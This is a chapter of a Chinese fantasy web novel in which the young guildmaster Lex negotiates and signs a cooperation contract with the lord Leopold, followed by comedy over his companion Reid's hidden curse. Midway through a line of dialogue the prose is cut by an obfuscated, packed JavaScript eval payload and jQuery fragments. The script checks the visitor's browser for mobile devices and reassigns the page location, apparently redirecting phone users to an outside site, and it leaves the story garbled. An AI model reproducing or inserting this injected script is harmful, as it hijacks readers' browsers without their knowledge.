这不是一份委托契约，这是正式的官方文书——领主府与红鳞冒险者公会的合作协议。


    利奥波德的声音不急不缓地响起：“签了它，红鳞公会就是琳斐领的官方直属公会，领地认证，执法骑士同等待遇。你能享有的特权包括但不限于渠道优先，财政补贴、免税待遇等等。”


    莱克斯还没说话，莱德一听似乎与钱有关，便搬着沙发，好奇地坐了过来：“听不懂，他说的是什么意思？”


    书房里安静了几秒，利奥波德深呼吸，微笑着解释：“意思就是，以后在琳斐领，没人能用手续这类事再找你们麻烦。领地内政府层面的委托任务，优先选择你们；领地外的任务，我替你们去接洽；买不起的装备，我补贴你们买。”


    莱德恍然大悟，也不知道他悟了个什么：“卖身？”


    “不是卖身，”莱克斯替利奥波德回答了，手指在羊皮纸边缘轻轻摩挲，“算合作。”


    莱德歪着头，显然没听出差别。


    利奥波德笑了一声，重新坐回椅子里，首肯道：“确实是合作，你们有实力，我有资源。你们需要靠山，我需要能干的人，互相成全而已。”


    少年抬起头，对上利奥波德那双蒙着薄雾的蓝眼睛，面上是跃跃欲试的兴奋。


    “稳定的委托来源和有力的财政支持确实是红鳞目前非常需要的。我很年轻，很多事情都不太清楚，想请教阁下，签了这协议，任务接不接，人怎么安排，钱怎么花——这些事，是红鳞自己说了算，还是领主府说了算？”


    他舔了舔嘴唇，直直地盯着领主：“表面上，我们规模小，人数少，这种过于直接的优待恐怕会引起争议，并不稳妥。当然我不会认为这是阁下的失误，因为我们确实有担当这个待遇的实力。”


    言下之意，他并不想当领主府的下属承包商，想要争取对等合作的身份，也是争取谈判的主动权。


    莱德左看看右看看，虽然不知道为什么，但是帮腔：“对，那我们还是别签了。”


    利奥波德挑眉，像是对这个提问有些意外。


    “施沃兹会长，我并不是一个闲人，我的领地里下辖三个城镇，和若干村落，王城的人我要应付，女儿的事我要操心，你们公会那些鸡毛蒜皮的事，我没有这么多只手，也懒得管你。”


    “这不符合逻辑，也不是做生意的道理。说到底，你们公会对我来说不重要，有价值的就只是你们两个人而已。”


    他起身走到窗前，整个人笼在一片逆光的阴影里。


    “至于你说的争议和稳妥，你觉得，我像是会在乎别人想法的人吗？”


    “我给你这些东西，只是因为目前我认为你们值得这个价。”说到这里时，利奥波德笑着给了莱德一个眼神，“做个约定吧，如果你们能为琳斐领做出更多价值，这份协议我可以补签附件。”


    莱克斯走到书桌旁，拿起一支羽毛笔，笔尖沾墨。


    “那可真是让人放心，温斯顿阁下。就这么写吧，我拥有公会的人事权、财权，业务上我们保持独立，领主府的委托可以放心交给我们。”


    莱克斯吹了吹笔尖，冲他眨了眨眼。


    “可以，有几个条件。”


    “第一，红鳞必须常驻琳斐领，搬走即协议作废，涉政任务，必须申请备案，包括外派任务在内，领主府保有审核权和否决权。让我知道你在干什么，否则我兜都不好替你兜。”


    莱克斯若有所思地点点头。“还有吗？”


    “第二，红鳞作为官方直属公会，对领地内的重大危急情况有支援义务，魔物潮、外敌入侵、重大灾害，我需要你的时候，不能推诿。”


    莱克斯想了想，看了眼身后的莱德：“报酬怎么说？”


    “按市场价格走，会让你们满意的。”


    “嗯哼，可以接受。”


    “最后，你的人，你管好，因个人原因出的事你要担责。”


    莱克斯低头看着那份协议，沉默了很久。


    莱德在沙发上扭来扭去，终于忍不住关心道：“上面写了给你多少钱？”


    利奥波德难得愣了一下，旋即失笑：“财政补贴按季度发放，具体数额……比你想象的要多。”


    莱德满意地点头，两眼放光地看向莱克斯。


    “阁下，我本想讨价还价，再争取点优惠条件的，”莱克斯搁下笔，绿眼睛里带着一丝复杂的光，“可这份协议，我竟然挑不出任何我可以跟您拉扯的点。这样的协议，我接得住吗？”


    利奥波德看着他，目光里多了几分别的什么东西。


    “你接不接得住，是你的事；我给不给，是我的事。”


    他说：“至少我认为你比黑石更值得。你虽然没说你跟斯通会长之间发生了什么龃龉，但胡安跳槽到了你身边，那大概就与我猜的大差不差。”


    他从容坐回桌后，端起茶杯喝了起来。“慎重的考虑是长久合作的起点，想好了再签。”


    莱克斯看着那支笔，又看向那份协议。


    莱德在他耳边恶魔低语：“签啊，不签就没有还我债的钱……”


    莱克斯笑了一下。钱？也许吧，但协议真正的价值，或许并不在几个金币上。


    他提起笔，在契约末尾签下名字，羽毛笔尖划过羊皮纸的沙沙声格外清晰。莱德打了个响指，羊皮卷上凭空出现了红鳞的图腾。


    契约一式两份，利奥波德收起自己的那份，仔细吹干墨迹，卷好收进档案室。


    “以后就是伙伴了，莱克斯先生。”


    他的动作很慢，像是在给某件事收尾，又像是在给另一件事开头。


    “既然来了，就在府上住一段时间，把伤养好了再走吧，我可不想花了这么多钱去养一个病秧子，”他说，“等你伤好了，差不多就是银絮堇庆典开幕的时让埃莉诺带你们去观光——她念叨你们好久了。”


    “小姐帮了我们大忙，我应该当面感谢她的，”莱克斯语气诚恳，“上次来府上，我们行事鲁莽，格林先生在河边帮过我们，我们却害他受伤，这件事让我和莱德都非常愧疚。”


    利奥波德眼神微妙地顿了顿。


    莱克斯连忙拉了拉莱德的袖子。


    一头雾水的莱德指着自己：“我？愧疚？我怎么会……”


    愧疚二字被莱克斯掐灭在喉咙里。


    少年压低声音，咬牙切齿：“为格林先生的事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352584|199275||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道歉，相信我，这句话值至少十万枚金币！”


    十万！


    金币！


    只要区区道歉！！


    “哦，抱歉。”伟大的莱德·多拉贡先生满脸诚恳，为十万金币抛弃了尊严和原则。


    利奥波德看着这一幕，几乎笑出了声。


    “你从哪找来这么个……”领主似乎不知道怎么比划，最后只能指了指脑袋。


    莱克斯无奈一笑。“他自己找上门的。”


    领主没有追问，只是面露怜悯。


    “有件事提醒你……有位英俊且擅长魔法的人士据说中了什么暗算，却拒绝了牧师，也就是我，的驱散魔法。”


    莱克斯一愣，失态道：“你说什么？！”


    声音陡然拔高了足有半个调，完全失却刚才的从容。


    莱克斯看着他，有种自家狗子偷吃巧克力的绝望和无力，恨不能直接扣它嗓子眼催吐的程度。


    莱德被他吼得缩了缩脖子，满脸无辜：“为什么你这么生气？那点东西，我什么都没感觉到，为什么要驱散？”


    而你的笨蛋狗子还舔着嘴，用湿漉漉的狗狗眼看着你，试图卖萌讨好。


    “给我看看！到底是什么东西？”莱克斯一把攥住他。


    莱德不耐烦地撩起袖口，露出一截线条利落的小臂。猩红的纹路正盘踞在无瑕的手腕上，血色诡谲妖异，看着有些吓人。


    “你……”莱克斯按着太阳穴，感到一阵头疼，“那你为什么不告诉我？”


    莱德理直气壮：“你又没问。”


    男人脸上没有一丝对自己已经中招的恐惧，只有对自己魔法抵抗的自信。


    “而且，我随随便便就能解决。”


    利奥波德靠在椅背上，从桌面捞了点糖渍果脯，饶有兴趣地看着眼前这一幕。


    “如果你们需要驱散魔法，可以来找我。在庆典开始前，所有圣母大教堂的牧师可都在忙着净化仪式呢。”言下之意是，在整个琳斐尔城，能帮莱克斯忙的人很可能只有他一个。


    驱散魔法与治愈魔法都是牧师职业体系中重要的魔法，但二者并不可相提并论。


    不仅是因为驱散魔法的施展难度在常规治愈之上，还因为驱散魔法普遍存在很大的潜在威胁。魔法失败造成的诅咒反扑、咒力扩散暂且不提，部分诅咒带有施法者标记，强行驱散还有引来施法者报复的可能性。


    因此，驱散魔法一般都需要由资深牧师主持仪式，收费也非常高。


    利奥波德已经免费替莱克斯治疗了一次，如果施术对象是莱德，那他说什么也要拿点利息。


    他说的很随意，但那双蓝眼睛亮得灼人，实则是心里已经盘算起索要龙角还是龙鳞了，唔，龙角好像有点难，龙牙也能接受。


    角落里的仆人闻言嘴角抽动，目光落在自己的鞋尖上，默默往旁边挪了半步，视线移向窗外，试图努力降低自己的存在感。


    莱克斯看着他的神情，心里某个角落警铃大作。这人绝对是在等着自己对吧？！


    等着看莱德出糗？等着自己开口求他？还是等着，把这个人情卖得更贵一点？


    莱克斯脑子里乱糟糟的。